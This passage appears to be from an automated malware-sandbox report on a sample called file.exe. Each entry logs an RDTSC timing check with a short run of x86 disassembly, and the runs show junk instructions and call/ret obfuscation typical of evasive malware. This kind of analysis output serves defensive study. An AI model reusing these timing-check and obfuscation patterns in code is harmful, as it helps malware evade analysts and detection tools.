Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11951DF second address: 1195221 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD9092ECB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f mov edi, dword ptr [ebp+122D2DC5h] 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D1DE9h], edi 0x0000001d call 00007FD9092ECB29h 0x00000022 pushad 0x00000023 jmp 00007FD9092ECB38h 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195221 second address: 119522D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119522D second address: 1195231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195231 second address: 1195261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jo 00007FD908C4C6F8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007FD908C4C6E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195261 second address: 1195265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F355 second address: 117F368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD908C4C6EEh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F368 second address: 117F36D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F36D second address: 117F376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B246C second address: 11B2477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2477 second address: 11B247B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B247B second address: 11B247F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B247F second address: 11B248F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007FD908C4C6E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2747 second address: 11B275F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B275F second address: 11B2763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2A50 second address: 11B2A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB35h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2A6B second address: 11B2AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F4h 0x00000007 jg 00007FD908C4C6E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jo 00007FD908C4C712h 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jp 00007FD908C4C6E6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2DBB second address: 11B2DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2DD7 second address: 11B2DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FD908C4C6F5h 0x0000000d pop esi 0x0000000e pop edx 0x0000000f jo 00007FD908C4C6EEh 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B30A9 second address: 11B30B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B30B9 second address: 11B30DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD908C4C6F7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FD908C4C6E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B30DE second address: 11B30F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Ah 0x00000007 jmp 00007FD9092ECB2Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B30F9 second address: 11B30FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B30FF second address: 11B3107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3107 second address: 11B310D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3230 second address: 11B3234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3DE7 second address: 11B3DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3DEB second address: 11B3DF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4128 second address: 11B412D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185CDB second address: 1185D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FD9092ECB26h 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007FD9092ECB26h 0x00000011 popad 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jmp 00007FD9092ECB2Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185D08 second address: 1185D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB60B second address: 11BB61C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB61C second address: 11BB621 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF0CB second address: 11BF0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF0CF second address: 11BF126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FD908C4C6F0h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007FD908C4C6F1h 0x0000001c mov eax, dword ptr [eax] 0x0000001e push ecx 0x0000001f push edi 0x00000020 push eax 0x00000021 pop eax 0x00000022 pop edi 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD908C4C6F5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF24F second address: 11BF2A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FD9092ECB30h 0x00000011 jmp 00007FD9092ECB2Fh 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 push ebx 0x0000001a jmp 00007FD9092ECB2Bh 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD9092ECB38h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF38F second address: 11BF393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1151 second address: 11C1159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1159 second address: 11C115F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C115F second address: 11C117A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FD9092ECB60h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jc 00007FD9092ECB26h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C117A second address: 11C1195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD908C4C6EEh 0x0000000c jnc 00007FD908C4C6E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187767 second address: 1187779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB2Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3C56 second address: 11C3C5C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3C5C second address: 11C3C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9092ECB35h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3E0E second address: 11C3E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FD908C4C6E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3E1D second address: 11C3E38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C43C6 second address: 11C43E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD908C4C6E6h 0x00000008 jmp 00007FD908C4C6F1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C43E5 second address: 11C43EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C453C second address: 11C4558 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FD908C4C6F6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4558 second address: 11C455D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C455D second address: 11C4563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C557D second address: 11C5581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C55F1 second address: 11C55FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FD908C4C6ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C55FE second address: 11C5630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007FD9092ECB38h 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD9092ECB2Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5630 second address: 11C5656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD908C4C6EDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5656 second address: 11C570A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9092ECB37h 0x00000008 jmp 00007FD9092ECB2Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FD9092ECB28h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov si, bx 0x0000002e call 00007FD9092ECB29h 0x00000033 jo 00007FD9092ECB3Dh 0x00000039 push ecx 0x0000003a jmp 00007FD9092ECB35h 0x0000003f pop ecx 0x00000040 push eax 0x00000041 jno 00007FD9092ECB3Ah 0x00000047 mov eax, dword ptr [esp+04h] 0x0000004b push edx 0x0000004c jmp 00007FD9092ECB30h 0x00000051 pop edx 0x00000052 mov eax, dword ptr [eax] 0x00000054 push eax 0x00000055 push edx 0x00000056 jnl 00007FD9092ECB31h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5BF8 second address: 11C5BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5E8C second address: 11C5E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C672E second address: 11C675D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FD908C4C6ECh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD908C4C6F9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C68A1 second address: 11C68A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C865C second address: 11C86B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FD908C4C6E6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov esi, dword ptr [ebp+122D2EC1h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FD908C4C6E8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007FD908C4C6E8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C86B6 second address: 11C86C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C86C6 second address: 11C86D4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD908C4C6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C86D4 second address: 11C86D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C91EC second address: 11C91FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C91FB second address: 11C91FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8F66 second address: 11C8F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C927D second address: 11C9282 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB294 second address: 11CB29B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB29B second address: 11CB2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007FD9092ECB28h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB2AF second address: 11CB320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 push ecx 0x00000008 clc 0x00000009 pop esi 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FD908C4C6E8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FD908C4C6E8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 pushad 0x00000043 movzx edx, si 0x00000046 jmp 00007FD908C4C6EFh 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jne 00007FD908C4C6ECh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB320 second address: 11CB326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB326 second address: 11CB32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBC44 second address: 11CBCE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FD9092ECB2Bh 0x00000011 jmp 00007FD9092ECB33h 0x00000016 popad 0x00000017 jmp 00007FD9092ECB2Bh 0x0000001c popad 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FD9092ECB28h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 jns 00007FD9092ECB30h 0x0000003e xor dword ptr [ebp+124626EEh], edi 0x00000044 mov edi, ecx 0x00000046 push 00000000h 0x00000048 xor si, FB74h 0x0000004d jg 00007FD9092ECB31h 0x00000053 jg 00007FD9092ECB2Bh 0x00000059 mov esi, 540EBDDCh 0x0000005e push 00000000h 0x00000060 push eax 0x00000061 push ecx 0x00000062 pushad 0x00000063 jmp 00007FD9092ECB2Ah 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A4F second address: 11D0A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBA23 second address: 11CBA30 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBA30 second address: 11CBA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0F45 second address: 11D0FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 pushad 0x00000008 mov ax, cx 0x0000000b jmp 00007FD9092ECB2Ah 0x00000010 popad 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FD9092ECB28h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D1D1Ah] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FD9092ECB28h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jne 00007FD9092ECB2Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBA34 second address: 11CBA46 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD908C4C6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FD908C4C6E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D31E8 second address: 11D31F5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD9092ECB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D33B2 second address: 11D33B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
